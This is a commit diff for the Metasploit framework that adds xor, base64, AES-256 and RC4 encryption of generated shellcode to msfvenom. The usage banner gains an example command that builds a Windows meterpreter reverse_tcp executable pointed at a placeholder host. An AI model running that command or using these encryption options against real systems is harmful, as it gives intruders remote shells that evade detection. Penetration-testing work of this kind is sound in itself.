Add encryption support for shellcode

GSoC/Meterpreter_Web_Console
Wei Chen 2018-04-10 11:14:14 -05:00
parent 7b85edfde5
commit b630d5c327
3 changed files with 93 additions and 21 deletions

View File

@ -18,9 +18,13 @@ module Buffer
# Serializes a buffer to a provided format. The formats supported are raw, # Serializes a buffer to a provided format. The formats supported are raw,
# num, dword, ruby, python, perl, bash, c, js_be, js_le, java and psh # num, dword, ruby, python, perl, bash, c, js_be, js_le, java and psh
# #
def self.transform(buf, fmt = "ruby", var_name = 'buf') def self.transform(buf, fmt = "ruby", var_name = 'buf', encryption_opts={})
default_wrap = 60 default_wrap = 60
unless encryption_opts.empty?
buf = encrypt_buffer(buf, encryption_opts)
end
case fmt case fmt
when 'raw' when 'raw'
when 'num' when 'num'
@ -120,6 +124,36 @@ module Buffer
] ]
end end
def self.encryption_formats
[
'xor',
'base64',
'aes256',
'rc4'
]
end
private
def self.encrypt_buffer(value, encryption_opts)
buf = ''
case encryption_opts[:format]
when 'aes256'
buf = Rex::Text.encrypt_aes256(encryption_opts[:iv], encryption_opts[:key], value)
when 'base64'
buf = Rex::Text.encode_base64(value)
when 'xor'
buf = Rex::Text.xor(encryption_opts[:key], value)
when 'rc4'
buf = Rex::Text.rc4(encryption_opts[:key], value)
else
raise ArgumentError, "Unsupported encryption format: #{encryption_opts[:format]}", caller
end
return buf
end
end end
end end

View File

@ -83,6 +83,15 @@ module Msf
# @!attribute var_name # @!attribute var_name
# @return [String] The custom variable string for certain output formats # @return [String] The custom variable string for certain output formats
attr_accessor :var_name attr_accessor :var_name
# @!attribute encryption_format
# @return [String] The encryption format to use for the shellcode.
attr_accessor :encryption_format
# @!attribute encryption_key
# @return [String] The key to use for the encryption
attr_accessor :encryption_key
# @!attribute encryption_iv
# @return [String] The initialization vector for the encryption (not all apply)
attr_accessor :encryption_iv
# @param opts [Hash] The options hash # @param opts [Hash] The options hash
@ -123,6 +132,9 @@ module Msf
@var_name = opts.fetch(:var_name, 'buf') @var_name = opts.fetch(:var_name, 'buf')
@smallest = opts.fetch(:smallest, false) @smallest = opts.fetch(:smallest, false)
@encoder_space = opts.fetch(:encoder_space, @space) @encoder_space = opts.fetch(:encoder_space, @space)
@encryption_format = opts.fetch(:encryption_format, 'base64')
@encryption_key = opts.fetch(:encryption_key, '')
@encryption_iv = opts.fetch(:encryption_iv, '')
@framework = opts.fetch(:framework) @framework = opts.fetch(:framework)
@ -276,15 +288,21 @@ module Msf
# @param shellcode [String] the processed shellcode to be formatted # @param shellcode [String] the processed shellcode to be formatted
# @return [String] The final formatted form of the payload # @return [String] The final formatted form of the payload
def format_payload(shellcode) def format_payload(shellcode)
encryption_opts = {
format: encryption_format,
iv: encryption_iv,
key: encryption_key
}
case format.downcase case format.downcase
when "js_be" when "js_be"
if Rex::Arch.endian(arch) != ENDIAN_BIG if Rex::Arch.endian(arch) != ENDIAN_BIG
raise IncompatibleEndianess, "Big endian format selected for a non big endian payload" raise IncompatibleEndianess, "Big endian format selected for a non big endian payload"
else else
::Msf::Simple::Buffer.transform(shellcode, format, @var_name) ::Msf::Simple::Buffer.transform(shellcode, format, @var_name, encryption_opts)
end end
when *::Msf::Simple::Buffer.transform_formats when *::Msf::Simple::Buffer.transform_formats
::Msf::Simple::Buffer.transform(shellcode, format, @var_name) ::Msf::Simple::Buffer.transform(shellcode, format, @var_name, encryption_opts)
when *::Msf::Util::EXE.to_executable_fmt_formats when *::Msf::Util::EXE.to_executable_fmt_formats
::Msf::Util::EXE.to_executable_fmt(framework, arch, platform_list, shellcode, format, exe_options) ::Msf::Util::EXE.to_executable_fmt(framework, arch, platform_list, shellcode, format, exe_options)
else else

View File

@ -63,12 +63,13 @@ def parse_args(args)
opt = OptionParser.new opt = OptionParser.new
banner = "MsfVenom - a Metasploit standalone payload generator.\n" banner = "MsfVenom - a Metasploit standalone payload generator.\n"
banner << "Also a replacement for msfpayload and msfencode.\n" banner << "Also a replacement for msfpayload and msfencode.\n"
banner << "Usage: #{$0} [options] <var=val>" banner << "Usage: #{$0} [options] <var=val>\n"
banner << "Example: #{$0} -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe"
opt.banner = banner opt.banner = banner
opt.separator('') opt.separator('')
opt.separator('Options:') opt.separator('Options:')
opt.on('-p', '--payload <payload>', String, opt.on('-p', '--payload <payload>', String,
'Payload to use. Specify a \'-\' or stdin to use custom payloads') do |p| 'Payload to use. Specify a \'-\' or stdin to use custom payloads') do |p|
if p == '-' if p == '-'
opts[:payload] = 'stdin' opts[:payload] = 'stdin'
@ -81,18 +82,18 @@ def parse_args(args)
opts[:list_options] = true opts[:list_options] = true
end end
opt.on('-l', '--list [type]', Array, 'List a module type. Options are: payloads, encoders, nops, all') do |l| opt.on('-l', '--list [type]', Array, 'List a module type. Options are: payloads, encoders, nops, all') do |l|
if l.nil? or l.empty? if l.nil? or l.empty?
l = ["all"] l = ["all"]
end end
opts[:list] = l opts[:list] = l
end end
opt.on('-n', '--nopsled <length>', Integer, 'Prepend a nopsled of [length] size on to the payload') do |n| opt.on('-n', '--nopsled <length>', Integer, 'Prepend a nopsled of [length] size on to the payload') do |n|
opts[:nops] = n.to_i opts[:nops] = n.to_i
end end
opt.on('-f', '--format <format>', String, "Output format (use --help-formats for a list)") do |f| opt.on('-f', '--format <format>', String, "Output format (use --help-formats for a list)") do |f|
opts[:format] = f opts[:format] = f
end end
@ -105,15 +106,34 @@ def parse_args(args)
raise HelpError, msg raise HelpError, msg
end end
opt.on('-e', '--encoder <encoder>', String, 'The encoder to use') do |e| opt.on('--encryptor <value>', String, 'The type of encryptor or encoder to use for the shellcode') do |e|
opts[:encryption_format] = e
end
opt.on('--encrypt-formats', String, 'List Available encryption formats') do
init_framework(:module_types => [])
msg = "Encryption formats:\n" +
"\t" + ::Msf::Simple::Buffer.encryption_formats.join(", ")
raise HelpError, msg
end
opt.on('--encrypt-key <value>', String, 'A key to be used for the encryptor') do |e|
opts[:encryption_key] = e
end
opt.on('--encrypt_iv <value>', String, 'An init vector for the encryption') do |e|
opts[:encryption_iv] = e
end
opt.on('-e', '--encoder <encoder>', String, 'The encoder to use') do |e|
opts[:encoder] = e opts[:encoder] = e
end end
opt.on('-a', '--arch <arch>', String, 'The architecture to use') do |a| opt.on('-a', '--arch <arch>', String, 'The architecture to use') do |a|
opts[:arch] = a opts[:arch] = a
end end
opt.on('--platform <platform>', String, 'The platform of the payload') do |l| opt.on('--platform <platform>', String, 'The platform of the payload') do |l|
opts[:platform] = l opts[:platform] = l
end end
@ -126,28 +146,28 @@ def parse_args(args)
raise HelpError, msg raise HelpError, msg
end end
opt.on('-s', '--space <length>', Integer, 'The maximum size of the resulting payload') do |s| opt.on('-s', '--space <length>', Integer, 'The maximum size of the resulting payload') do |s|
opts[:space] = s opts[:space] = s
end end
opt.on('--encoder-space <length>', Integer, 'The maximum size of the encoded payload (defaults to the -s value)') do |s| opt.on('--encoder-space <length>', Integer, 'The maximum size of the encoded payload (defaults to the -s value)') do |s|
opts[:encoder_space] = s opts[:encoder_space] = s
end end
opt.on('-b', '--bad-chars <list>', String, 'The list of characters to avoid example: \'\x00\xff\'') do |b| opt.on('-b', '--bad-chars <list>', String, 'The list of characters to avoid example: \'\x00\xff\'') do |b|
init_framework() init_framework()
opts[:badchars] = Rex::Text.hex_to_raw(b) opts[:badchars] = Rex::Text.hex_to_raw(b)
end end
opt.on('-i', '--iterations <count>', Integer, 'The number of times to encode the payload') do |i| opt.on('-i', '--iterations <count>', Integer, 'The number of times to encode the payload') do |i|
opts[:iterations] = i opts[:iterations] = i
end end
opt.on('-c', '--add-code <path>', String, 'Specify an additional win32 shellcode file to include') do |x| opt.on('-c', '--add-code <path>', String, 'Specify an additional win32 shellcode file to include') do |x|
opts[:add_code] = x opts[:add_code] = x
end end
opt.on('-x', '--template <path>', String, 'Specify a custom executable file to use as a template') do |x| opt.on('-x', '--template <path>', String, 'Specify a custom executable file to use as a template') do |x|
opts[:template] = x opts[:template] = x
end end
@ -155,11 +175,11 @@ def parse_args(args)
opts[:keep] = true opts[:keep] = true
end end
opt.on('-o', '--out <path>', 'Save the payload') do |x| opt.on('-o', '--out <path>', 'Save the payload') do |x|
opts[:out] = x opts[:out] = x
end end
opt.on('-v', '--var-name <name>', String, 'Specify a custom variable name to use for certain output formats') do |x| opt.on('-v', '--var-name <name>', String, 'Specify a custom variable name to use for certain output formats') do |x|
opts[:var_name] = x opts[:var_name] = x
end end
@ -331,8 +351,8 @@ if generator_opts[:list_options]
$stderr.puts "Advanced options for #{payload_mod.fullname}:\n\n" $stderr.puts "Advanced options for #{payload_mod.fullname}:\n\n"
$stdout.puts ::Msf::Serializer::ReadableText.dump_advanced_options(payload_mod, ' ') $stdout.puts ::Msf::Serializer::ReadableText.dump_advanced_options(payload_mod, ' ')
$stderr.puts "Evasion options for #{payload_mod.fullname}:\n\n" $stderr.puts "encrypt options for #{payload_mod.fullname}:\n\n"
$stdout.puts ::Msf::Serializer::ReadableText.dump_evasion_options(payload_mod, ' ') $stdout.puts ::Msf::Serializer::ReadableText.dump_encrypt_options(payload_mod, ' ')
exit(0) exit(0)
end end